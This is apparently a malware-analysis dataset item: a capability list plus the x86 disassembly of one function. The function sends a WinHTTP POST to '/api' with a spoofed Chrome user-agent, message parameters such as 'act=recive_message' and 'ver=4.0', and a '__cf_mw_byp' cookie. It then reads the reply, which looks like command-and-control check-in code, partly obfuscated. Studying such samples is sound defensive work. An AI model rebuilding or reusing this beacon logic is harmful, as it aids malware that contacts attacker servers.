Function at 0x44a800
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string
Set http header

Disassembly:
push ebx
push edi
push esi
sub esp, 0x65c
lea eax, [esp + 0x5c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x200
call fcn.0044e7d0
mov eax, dword [0x4745fc]
mov dword [esp], eax
call fcn.00453c80
mov ecx, dword [0x4745fc]
lea edx, [esp + 0x5c]
xor esi, esi
mov dword [esp], 0
mov dword [esp + 4], edx
mov dword [esp + 8], 0x100
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
call fcn.0045377f
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x1c], 0
lea eax, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_119.0.0.0_Safari_537.36
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
sub esp, 0x14
mov dword [esp + 0x2c], eax
cmp dword [esp + 0x2c], 0
je 0x44a905
lea eax, [esp + 0x5c]
mov ecx, dword [esp + 0x2c]
xor edx, edx
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x50
mov dword [esp + 0xc], 0
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
sub esp, 0x10
mov dword [esp + 0x28], eax
cmp dword [esp + 0x28], 0
je 0x44a956
mov eax, dword [esp + 0x28]
lea ecx, str.POST
lea edx, str._api
xor esi, esi
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
sub esp, 0x1c
mov dword [esp + 0x1c], eax
lea eax, str.Content_Type:_application_x_www_form_urlencoded_r_n
mov dword [esp + 0x50], eax
lea eax, [esp + 0x25c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x400
call fcn.0044e7d0
lea eax, [esp + 0x25c]
lea ecx, str.actrecive_messagelid_sj_sver4.0
lea edx, str.SdDgBv__cutEBLAN
lea esi, str.default
mov dword [esp], eax
mov dword [esp + 4], 0x3ff
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], esi
call fcn.004486e0
cmp dword [0x474604], 0
setne al
test al, 1
jne 0x44a9c6
jmp 0x44aa32
mov dword [esp], 0x100
mov dword [esp + 4], 1
call fcn.00453287
mov dword [esp + 0x3c], eax
mov eax, dword [0x474600]
mov ecx, dword [esp + 0x3c]
lea edx, str.Cookie:___cf_mw_byp_hs
mov dword [esp], ecx
mov dword [esp + 4], edx
mov dword [esp + 8], eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x1c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], 0x20000000
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
sub esp, 0x10
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call fcn.004536d5
cmp dword [esp + 0x1c], 0
je 0x44aa9a
lea eax, [esp + 0x25c]
mov dword [esp], eax
call fcn.00453c80
mov esi, eax
lea eax, [esp + 0x25c]
mov dword [esp], eax
call fcn.00453c80
lea ecx, [esp + 0x25c]
mov edx, dword [esp + 0x50]
mov edi, dword [esp + 0x1c]
xor ebx, ebx
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], 0
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
sub esp, 0x1c
mov dword [esp + 0x38], eax
cmp dword [esp + 0x38], 0
je 0x44aabf
mov eax, dword [esp + 0x1c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
sub esp, 8
mov dword [esp + 0x38], eax
mov dword [esp + 0x34], 0
cmp dword [esp + 0x38], 0
setne al
test al, 1
jne 0x44aad8
jmp 0x44abe3
mov dword [esp + 0x24], 0
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0x34]
mov dword [esp], eax
mov dword [esp + 4], ecx
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
sub esp, 8
xor ecx, ecx
cmp eax, 0
je 0x44ab07
cmp dword [esp + 0x34], 0
seta cl
test cl, 1
jne 0x44ab11
jmp 0x44abd7
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x34]
add eax, 0xd058c971
xor ecx, 0xffffffff
sub ecx, 0xffffffff
sub eax, ecx
add eax, 0x7fc55fbc
sub eax, 0xd058c971
sub eax, 0x7fc55fbc
mov ecx, eax
and ecx, 1
or eax, 1
add ecx, eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00453a7f
mov dword [esp + 0x44], eax
cmp dword [esp + 0x44], 0
jne 0x44ab66
jmp 0x44ab5c
mov dword [esp + 0x30], 3
jmp 0x44abba
jmp 0x44ab68
mov eax, dword [esp + 0x44]
mov dword [esp + 0x20], eax
mov dword [esp + 0x40], 0
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x20]
add ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x1c]
lea esi, [esp + 0x40]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], esi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
sub esp, 0x10
mov eax, dword [esp + 0x40]
add eax, dword [esp + 0x24]
mov dword [esp + 0x24], eax
mov dword [esp + 0x30], 0
jmp 0x44abba
mov eax, dword [esp + 0x30]
test eax, eax
je 0x44abce
jmp 0x44abc4
sub eax, 3
je 0x44abd7
jmp 0x44ac86
jmp 0x44abd0
jmp 0x44abd2
jmp 0x44aae0
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
mov byte [eax + ecx], 0
cmp dword [esp + 0x20], 0
jne 0x44abfe
jmp 0x44abec
mov dword [esp + 0x48], 0
mov dword [esp + 0x30], 1
jmp 0x44ac78
cmp dword [esp + 0x1c], 0
je 0x44ac15
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
sub esp, 4
jmp 0x44ac17
cmp dword [esp + 0x28], 0
setne al
test al, 1
jne 0x44ac25
jmp 0x44ac35
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
sub esp, 4
cmp dword [esp + 0x2c], 0
je 0x44ac4c
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
sub esp, 4
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.004433d0
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.004536d5
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x48], eax
mov dword [esp + 0x30], 1
mov eax, dword [esp + 0x48]
add esp, 0x65c
pop esi
pop edi
pop ebx
ret
jmp 0x44ac88
jmp 0x44ac8a
int3